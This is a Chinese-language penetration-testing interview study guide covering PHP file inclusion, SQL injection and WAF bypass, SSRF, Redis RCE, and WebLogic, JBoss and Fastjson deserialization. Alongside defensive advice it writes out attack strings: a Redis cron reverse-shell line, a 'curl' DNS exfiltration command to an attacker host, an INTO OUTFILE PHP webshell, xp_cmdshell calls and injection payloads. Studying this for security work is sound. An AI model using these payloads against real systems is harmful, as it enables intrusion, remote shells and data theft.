網絡安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。
目錄
2025年滲透測試面試題總結-拷打題庫36
PHP代碼常見入口函數查找
PHP框架路由方法熟悉度
PHP變量覆蓋漏洞
文件包含漏洞防御
遠程文件包含(RFI)與本地文件包含(LFI)的PHP設置差異
本地文件包含路徑限制(PHP配置)
防止二次注入
最熟悉的三種Web漏洞類型
SQL注入過濾單引號繞過
MySQL報錯注入常用函數
報錯注入繞WAF
MySQL寫文件函數
INTO OUTFILE使用限制
SQL Server其他滲透方式
SSRF可用的偽協議
Redis RCE過程
Redis未授權獲取權限
/etc/passwd文件內容
二次注入修復方法
SQL注入過WAF(過濾information關鍵詞)
命令執行漏洞HTTP不出網處理
高難度滲透測試案例
SYN開放端口掃描原理
Shiro繞WAF方法
WebLogic遭遇WAF攔截的后續操作
JBoss反序列化原理
WebLogic反序列化漏洞(CVE-2017-10271)
Fastjson漏洞檢測
Fastjson漏洞回顯判斷
Fastjson高版本無回顯繞過
2025年滲透測試面試題總結-拷打題庫36
php代碼常見入口函數怎么找 有一些php的開發框架可以幫我們做一些url路由,對這些路由的方法熟悉嗎 介紹下PHP的變量覆蓋 有一個php的程序,本身就允許文件包含的操作,同時想要避免文件包含漏洞,寫代碼的時候要注意哪些 遠程文件包含和本地文件包含,這兩種涉及的php設置有什么 本地文件包含能不能通過php配置限制文件包含的路徑(不通過代碼直接通過配置項來解決) 寫代碼的時候怎么防止二次注入 講一下最熟悉的三種web漏洞類型,原理,測試方式 SQL注入過濾單引號怎么繞過 mysql報錯注入常用的函數 報錯注入繞waf mysql寫文件的函數有哪些 into outfile使用有哪些限制 sqlserver除了sql注入外還有什么滲透的方式 ssrf可以使用的偽協議 有了解過Redis RCE的過程嗎 Redis未授權如何獲得服務器權限 /etc/passwd文件包含哪些內容 二次注入要怎么修復 sql注入過waf了解嗎,若一個sql注入過濾了information關鍵詞,怎么繞過 命令執行漏洞,http不出網有什么比較好的處理方法(發散一點說) 介紹一次難度比較高的滲透測試 syn開放鏈接原理 shiro 如何繞 waf weblogic 如果在打站的時候,一旦遇到了 waf,第一個 payload 發過去,直接被攔截了, ip 也被 ban 了,如何進行下一步操作 jboss 反序列化原理 weblogic 反序列化原理,隨便說一個漏洞,然后說觸發原理 fastjson 怎么判斷是不是有漏洞,原理是什么 fastjson 判斷漏洞回顯是怎么判斷的,是用 dns 做回顯還是其他的協議做,為什么 fastjson 高版本,無回顯的情況,如何進行繞過,為什么可以這樣繞過
PHP代碼常見入口函數查找
- 入口文件定位
- 默認入口:
index.php
、admin.php
等常見入口文件,通常包含路由分發邏輯。- 框架入口:如Laravel的
public/index.php
,ThinkPHP的index.php
。- 路由配置:檢查
.htaccess
或web.config
中的URL重寫規則,確定請求如何映射到PHP腳本。- 全局函數追蹤
- 超全局變量:
$_GET
、$_POST
、$_REQUEST
的參數接收點。- 框架路由方法:如Laravel的
Route::get()
,ThinkPHP的$this->display()
。- 危險函數觸發點
- 文件包含:
include
、require
的參數是否可控。- 動態代碼執行:
eval()
、call_user_func()
的調用鏈分析。
PHP框架路由方法熟悉度
- 路由定義方式
- 靜態路由:如
Route::get('/user', 'UserController@index')
。- 動態路由:
/user/{id}
,參數通過控制器方法接收。- 閉包路由:匿名函數處理請求,需檢查閉包內的邏輯安全。
- 路由解析漏洞
- ThinkPHP 5.x RCE:路由參數未過濾導致代碼執行(如
s=/index/\think\app/invokefunction
)。- Laravel路由注入:動態路由參數未驗證導致路徑遍歷。
- 安全配置檢查
- 中間件防護:驗證身份驗證中間件(如
auth
)是否覆蓋敏感路由。- CSRF保護:檢查路由是否豁免CSRF驗證(如
VerifyCsrfToken
白名單)。
PHP變量覆蓋漏洞
- 漏洞原理
- extract()函數:從數組導入變量到符號表,若參數可控可覆蓋全局變量。
- parse_str()函數:解析查詢字符串到變量,未初始化變量可被覆蓋。
- **變量動態賦值**:如`foreach($_GET as $key => $value) { key = $value; }`。
- 利用場景
- 覆蓋配置變量:如
$is_admin = 0
被覆蓋為1
,繞過權限檢查。- 繞過認證邏輯:修改
$_SESSION
或$_COOKIE
中的用戶標識。- 修復方案
- 禁用危險函數:避免使用
extract()
,改用明確變量賦值。- 初始化變量:使用前對變量賦默認值,如
$is_admin = isset($_POST['admin']) ? 0 : 1
。
文件包含漏洞防御
- 代碼層防御
- 白名單限制:僅允許包含指定目錄文件(如
include './lib/' . $file . '.php'
)。- 動態參數過濾:檢查文件名是否包含
../
或協議(如php://
)。- 配置層防御
- 禁用高危協議:
php.ini
中設置allow_url_include=Off
。- 限制包含路徑:
open_basedir
設置為項目目錄,阻止跨目錄訪問。- 邏輯層防御
- 文件后綴固定:拼接固定后綴(如
.php
),避免包含非PHP文件。- 文件存在性驗證:包含前檢查文件是否存在(如
file_exists()
)。
遠程文件包含(RFI)與本地文件包含(LFI)的PHP設置差異
- RFI相關配置
- allow_url_fopen:控制是否允許打開遠程文件(默認On)。
- allow_url_include:控制是否允許包含遠程文件(默認Off)。
- LFI相關配置
- open_basedir:限制文件操作范圍,但可能被繞過(如
/proc/self/environ
)。- disable_functions:禁用
realpath()
等函數,防止路徑解析繞過。- 協議影響
- RFI協議:
http://
、ftp://
需allow_url_include
開啟。- LFI協議:
file://
、php://filter
受open_basedir
限制。
本地文件包含路徑限制(PHP配置)
- open_basedir
- 作用:限制PHP可訪問的目錄(如
open_basedir=/var/www/html
)。- 繞過:利用
/proc/self/cwd
或/proc/self/fd
訪問其他目錄。- disable_functions
- 禁用函數:如
realpath()
、symlink()
,防止符號鏈接攻擊。- 目錄權限
- 文件所有權:確保Web用戶(如
www-data
)無權訪問敏感目錄(如/etc
)。
防止二次注入
- 輸入過濾
- 統一轉義:使用預處理語句或參數化查詢,而非手動轉義。
- 數據類型強制:如
intval()
處理數字型參數。- 存儲層防御
- 數據存儲規范化:入庫前統一轉義,出庫時保持原始數據。
- ORM框架:使用Eloquent或Doctrine,自動處理參數綁定。
- 代碼審計
- 追蹤數據流:檢查數據從存儲到輸出的全流程是否一致轉義。
- 自動化測試:通過SQLMap的
--second-order
參數測試二次注入點。
最熟悉的三種Web漏洞類型
- SQL注入
- 原理:用戶輸入拼接至SQL語句,導致惡意查詢執行。
- 測試:
' OR 1=1--
測試布爾盲注,SLEEP(5)
測試時間盲注。- 防御:預編譯語句(PDO)、輸入過濾(如
preg_replace
)。- XSS(跨站腳本)
- 原理:用戶輸入未轉義輸出到HTML,導致腳本執行。
- 測試:
<script>alert(1)</script>
測試反射型XSS。- 防御:輸出轉義(
htmlspecialchars
)、CSP策略。- 文件上傳漏洞
- 原理:未校驗文件類型/內容,上傳惡意文件(如
.php
)。- 測試:上傳
.php
文件,嘗試繞過MIME類型檢查。- 防御:白名單后綴、文件內容檢測(如
exif_imagetype()
)。
SQL注入過濾單引號繞過
- 編碼繞過
- URL編碼:
%27
代替單引號,%2527
雙重編碼繞過。- 十六進制編碼:
0x27
表示單引號(如SELECT * FROM users WHERE id=0x27
)。- 寬字節注入
- 原理:GBK編碼中
%df%27
轉為合法字符,繞過轉義('
→�'
)。- 利用:
id=1%df%27 AND 1=1--
。- 二次注入
- 場景:入庫時轉義,出庫時拼接導致單引號生效。
- 測試:注冊用戶名為
admin'--
,后續查詢觸發注入。
MySQL報錯注入常用函數
- updatexml()
- 用法:
updatexml(1,concat(0x7e,(SELECT user())),1)
,利用XPath錯誤回顯數據。- extractvalue()
- 用法:
extractvalue(1,concat(0x7e,(SELECT database())))
,原理類似updatexml
。- floor()
- 用法:通過
COUNT()
和GROUP BY
觸發主鍵重復錯誤(如SELECT COUNT(*),CONCAT((SELECT user()),0x7e,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x
)。
報錯注入繞WAF
- 函數替換
- 替代函數:用
exp()
代替updatexml()
(如exp(~(SELECT * FROM (SELECT user())a))
)。- 分塊傳輸
- HTTP分塊:將請求拆分為多個塊,繞過WAF正則檢測。
- 注釋混淆
- 內聯注釋:
/*!50000SELECT*/
繞過黑名單過濾。
MySQL寫文件函數
- INTO OUTFILE
- 用法:
SELECT '<?php eval($_POST[1]);?>' INTO OUTFILE '/var/www/shell.php'
。- DUMPFILE
- 特點:寫入二進制文件(如圖片、二進制后門)。
- SELECT ... INTO變量
- 限制:需
secure_file_priv
為空,且MySQL有寫權限。
INTO OUTFILE使用限制
- 權限限制
- MySQL用戶權限:需具備
FILE
權限,且secure_file_priv
非NULL
。- 路徑限制
- secure_file_priv:若設置為
/tmp
,則只能寫入該目錄。- 文件覆蓋
- 文件存在性:若目標文件已存在,寫入會失敗。
SQL Server其他滲透方式
- xp_cmdshell
- 利用:啟用并執行系統命令(如
EXEC xp_cmdshell 'whoami'
)。- 鏈接服務器攻擊
- 橫向移動:通過
OPENROWSET
訪問其他數據庫服務器。- CLR集成
- 自定義程序集:加載惡意.NET程序執行系統命令。
SSRF可用的偽協議
- file://
- 利用:讀取本地文件(如
file:///etc/passwd
)。- dict://
- 利用:探測端口服務(如
dict://127.0.0.1:6379/info
)。- gopher://
- 利用:構造HTTP請求攻擊內網服務(如Redis未授權訪問)。
Redis RCE過程
- 寫入SSH公鑰
- 步驟:通過
config set dir
設置目錄,set
寫入公鑰到authorized_keys
。- Web目錄寫Shell
- 步驟:設置目錄為Web根路徑,寫入PHP后門。
- 主從復制利用
- 步驟:偽造惡意Redis主節點,同步惡意模塊(如
.so
文件)。
Redis未授權獲取權限
- 信息泄露
- 執行命令:
INFO
獲取服務器信息,KEYS *
遍歷數據庫鍵。- 寫定時任務
- 步驟:
config set dir /var/spool/cron
,寫入*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1
。- Lua沙箱繞過
- 利用CVE:如CVE-2022-0543(Debian特定漏洞)執行系統命令。
/etc/passwd文件內容
- 用戶賬戶信息
- 格式:
username:x:UID:GID:description:/home/dir:/bin/bash
。- 特殊用戶
- root:UID=0,擁有最高權限。
- 服務賬戶:如
mysql
、www-data
,無登錄Shell。
二次注入修復方法
- 數據存儲規范化
- 轉義存儲:入庫時對特殊字符轉義(如
addslashes()
)。- 輸出上下文轉義
- 動態轉義:根據輸出位置(HTML、SQL、JSON)使用不同轉義方法。
- ORM框架使用
- 參數化查詢:避免手動拼接SQL,如使用Eloquent的
where()
方法。
SQL注入過WAF(過濾information關鍵詞)
- 大小寫混淆
- 繞過:
InFoRmaTiOn_schema.tables
。- 注釋分割
- 繞過:
infoorrmation/**/_schema
。- 等價替換
- 替代表:使用
mysql.innodb_table_stats
代替information_schema
。
命令執行漏洞HTTP不出網處理
- DNS外帶數據
- 利用:
curl http://$(whoami).attacker.com
。- ICMP隧道
- 工具:使用
icmpsh
或ping -p
攜帶數據。- 日志寫入
- 步驟:將命令結果寫入Web日志,通過訪問日志讀取。
高難度滲透測試案例
- 目標環境
- 場景:某金融系統,具備WAF、IDS、多因素認證。
- 突破路徑
- 釣魚攻擊:偽造登錄頁竊取OTP,繞過多因素認證。
- WAF繞過:分塊傳輸+注釋混淆繞過SQL注入檢測。
- 內網橫向
- 利用漏洞:通過Exchange SSRF(CVE-2021-26855)進入內網。
SYN開放端口掃描原理
- 三次握手
- SYN掃描:發送SYN包,若收到SYN-ACK則認為端口開放,不完成握手(RST終止)。
- 隱蔽性
- 無連接記錄:半開放掃描不建立完整連接,日志中不易被發現。
- 工具實現
- Nmap命令:
nmap -sS 192.168.1.1
。
Shiro繞WAF方法
- 密鑰爆破
- 原理:Shiro硬編碼密鑰,使用已知密鑰生成惡意RememberMe Cookie。
- 加密模式繞過
- AES-CBC:利用Padding Oracle攻擊解密或加密惡意序列化數據。
- 流量混淆
- HTTP頭偽裝:將Cookie拆分到多個頭字段,繞過正則匹配。
WebLogic遭遇WAF攔截的后續操作
- 流量分析
- 捕獲特征:分析WAF攔截規則(如User-Agent、Payload長度)。
- 協議轉換
- HTTP/HTTPS切換:嘗試HTTPS繞過明文檢測。
- 延遲與分塊
- 慢速攻擊:降低發包速率,繞過頻率檢測。
- 分塊傳輸:拆解Payload為多個塊,繞過正則匹配。
JBoss反序列化原理
- JMXInvokerServlet
- 漏洞點:未授權訪問
/invoker/JMXInvokerServlet
,接收序列化數據。- 利用鏈
- 庫依賴:
org.jboss.invocation.MarshalledValue
觸發Gadget鏈。- 修復方案
- 刪除Servlet:移除
invoker
目錄或配置訪問控制。
WebLogic反序列化漏洞(CVE-2017-10271)
- 漏洞原理
- XML解析:
wls-wsat
組件接收惡意XML數據,觸發WorkContext
反序列化。- 利用鏈
- Gadget鏈:利用
com.sun.rowset.JdbcRowSetImpl
觸發JNDI注入。- 防御措施
- 刪除組件:移除
wls-wsat
相關文件,或限制訪問IP。
Fastjson漏洞檢測
- 版本識別
- 響應頭特征:
X-Serialized-Json
頭或異常錯誤信息。- DNS探測
- Payload:
{"@type":"java.net.Inet4Address","val":"dnslog.cn"}
。- 報錯回顯
- 觸發異常:構造不存在的類名,觀察是否暴露類路徑信息。
Fastjson漏洞回顯判斷
- DNSLog
- 原理:利用JNDI加載遠程類觸發DNS查詢(如
ldap://dnslog.cn/exp
)。- HTTP請求
- 回顯:通過
java.net.URL
類發起HTTP請求攜帶數據。- 延遲檢測
- 時間盲注:構造
Thread.sleep()
判斷是否存在漏洞。
Fastjson高版本無回顯繞過
- 內存馬注入
- 利用鏈:結合Tomcat Filter/Servlet注入內存Shell。
- 本地文件寫入
- 寫Web目錄:通過
java.io.FileWriter
寫入JSP后門。- 異步線程加載
- 延遲觸發:利用
java.util.TimerTask
延遲執行惡意代碼繞過檢測。